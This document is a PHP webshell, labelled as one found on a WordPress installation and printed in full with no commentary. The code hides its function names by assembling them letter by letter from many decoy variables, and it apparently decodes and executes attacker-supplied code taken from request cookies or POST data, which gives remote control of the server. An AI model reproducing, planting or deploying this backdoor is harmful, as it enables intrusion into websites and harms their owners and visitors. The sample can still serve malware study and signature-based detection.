PHP Malware (webshell found on a WordPress installation)

<?php

    $bright ='O'; $laird= ')(tYi';$brinn ='O';$anselma='[rjEX'; $burnaby ='?';
    $fungal = '(';

    $hobey= 'eL_"';

    $ballistics= 'h';$deliverable = 'a'; $gastrointestinal='"';
    $madcap = 'E;Qer'; $coagulable ='t';$banshee = ';[)'; $analyst ='cS'; $jocelyn ='a'; $blaster= 'l';$garb='d'; $creepers ='exZvyg'; $fondly='m';$bamboo= 'f'; $bankruptcy= 't';$deprives= '_';$electric='s';$ballooning= '_';
    $incisive= 'r_tS:R';

    $dulse ='c?ycia:ra';$dabbler= ')';
    $archangel= 'JtaT$]j'; $dissimilarity = 's'; $bier ='$'; $discernment='TiO';$glance='q';$intolerably= 'psirdEfe'; $dahlia= 'c'; $artificer = 'H';$backplanes = 't'; $devoured = '4tR';$anyway= '_';$astra='6';$attentively= 'o';
    $bankrupting= '(]K$';$lila= '_'; $cesium='(';$lane='E'; $jog= '$k ';$contrasters= 'i'; $frigate = '_'; $leanne = 'j';
    $bedstraw = 's'; $leech = 'n[Q';$chow ='(IqHeC'; $hebrides= 'dEUs)';$disambiguate= 'D';$animation='^vcdiPu"U';$gallows ='i';

    $cartman='_=[np';

    $disability ='rgn';$cuisine ='"';

    $calibration='r';$fianna='_"dTl_ehl'; $dimes= 'r'; $festively='"T';

    $familiarization = '(aGT'; $checked='m'; $fructify ='e';

    $balm ='e';$conspired = 'qeVHXVI';

    $invaders=']v)';
    $aron= '"'; $filip=';';$inconceivable =']';

    $choral='i';$augmented='g';$because= 'i$HaJ@`)'; $devil= '(X';

    $bodies= 'xb'; $lowell= 't';

    $binder= '$iH$s(ii';$diorite ='e"ae';$diverting='RKn'; $herold= 'D'; $dirty ='r'; $banjo ='ao@F$I(r'; $illustriousness='gae'; $kudo= 'TpbaAa_=';$gusella= ',Ef'; $briefs= 'o';$goofy ='Q_$'; $casts =')';$aryl ='u';

    $crystallography='e)P'; $encrypted= '@';
    $campaigning ='P';$index= 'Ja(e(aT]';$dreariness = 'hrATQMI'; $jemima = 'sWRs))';

    $excision ='D';

    $gibson ='$'; $cowbird= 'N,';
    $constituent = 'e';$assayed ='[';$discoveries= 'vS';$france =')';

    $babysitter='t';
    $ashes= 'edo;';
    $isabeau = $animation['2'] .$dreariness['1'] .$ashes['0']. $index[5]. $babysitter.$ashes['0'] . $goofy[1]. $gusella['2'] .

    $aryl. $diverting['2'].
    $animation['2'] .$babysitter .$binder['7'] .$ashes['2'] . $diverting['2']; $makable =$jog[2] ;  $lily =$isabeau($makable,$ashes['0'] .$discoveries['0']. $index[5]. $fianna['8'] .$index['4'].$encrypted . $index[5]. $dreariness['1'] .$dreariness['1']. $index[5] .$dulse['2']. $goofy[1].

    $kudo['1'].$ashes['2'].$kudo['1']. $index['4'].$gusella['2'].$aryl . $diverting['2']. $animation['2'] .$goofy[1].$illustriousness['0']. $ashes['0'].$babysitter.$goofy[1]. $index[5]. $dreariness['1'].$illustriousness['0'] . $jemima['3']. $index['4'] .$france.

    $france . $france .
    $ashes['3'] ); $lily ($discernment['2'] ,$dulse['6'],
    $encrypted , $cowbird['0'] ,$diverting['1'],$dreariness['1'] , $dreariness['5'],
    $france,$cowbird['0'],
    $gibson .$binder['7'].$kudo['7'] .$encrypted.
    $index[5].$dreariness['1'] .

    $dreariness['1']. $index[5] .

    $dulse['2'] . $goofy[1].$checked.$ashes['0'].
    $dreariness['1'] .$illustriousness['0'] . $ashes['0'].$index['4'] .$gibson. $goofy[1] .$jemima['2'].$gusella['1'].$dreariness['4'].
    $animation[8]. $gusella['1']. $discoveries['1'] .$dreariness['3'].$cowbird['1']. $gibson.$goofy[1].

    $chow['5']. $discernment['2']. $discernment['2'].$diverting['1'] . $dreariness['6'] .$gusella['1'] .$cowbird['1'] . $gibson. $goofy[1].

    $discoveries['1'] .$gusella['1'] .$jemima['2'] . $conspired['5'] .$gusella['1'] .$jemima['2'] .$france. $ashes['3'] .$gibson . $index[5] .$kudo['7']. $binder['7']. $jemima['3'] .$jemima['3'].

    $ashes['0'] .
    $babysitter . $index['4'] .$gibson.$binder['7'].$assayed. $diorite[1] .
    $bodies['0'] .$conspired['0'] .$binder['7'] . $index[5]. $ashes['1'] .$dreariness['0'].$leanne . $babysitter .$diorite[1] .$index['7'].$france. $dulse['1']. $gibson . $binder['7']. $assayed.
    $diorite[1]. $bodies['0'].$conspired['0'].$binder['7'].
    $index[5] . $ashes['1'].$dreariness['0'] .$leanne. $babysitter . $diorite[1].$index['7'] .
    $dulse['6'] . $index['4'] .$binder['7'] . $jemima['3'].$jemima['3'] . $ashes['0'] .$babysitter .$index['4'] .
    $gibson. $binder['7'] . $assayed . $diorite[1] .$binder['2'] .$dreariness['3'] . $dreariness['3'] . $campaigning. $goofy[1] .$devil['1'] .$dreariness['4'].$dreariness['6'] .$dreariness['2']. $excision. $binder['2'].$index['0'] .$dreariness['3'].$diorite[1].$index['7']. $france.

    $dulse['1']. $gibson. $binder['7'] . $assayed . $diorite[1] . $binder['2']. $dreariness['3']. $dreariness['3']. $campaigning . $goofy[1]. $devil['1']. $dreariness['4'] .$dreariness['6'] .
    $dreariness['2'] . $excision .$binder['2'].

    $index['0'] . $dreariness['3'] .$diorite[1]. $index['7'] .$dulse['6'].
    $ashes['1'] .$binder['7']. $ashes['0'].$france . $ashes['3'].$encrypted . $ashes['0'].

    $discoveries['0'].$index[5]. $fianna['8'].

    $index['4'] . $jemima['3'].
    $babysitter . $dreariness['1'].$dreariness['1'].

    $ashes['0'] .$discoveries['0'].$index['4']. $kudo['2'].$index[5] .$jemima['3'] . $ashes['0'] . $astra. $devoured[0]. $goofy[1] .$ashes['1'] . $ashes['0'] . $animation['2'] .$ashes['2']. $ashes['1'] . $ashes['0']. $index['4'].$jemima['3'] . $babysitter.$dreariness['1']. $dreariness['1'] .$ashes['0']. $discoveries['0']. $index['4'].$gibson .$index[5] .$france.$france . $france . $france.
    $ashes['3']);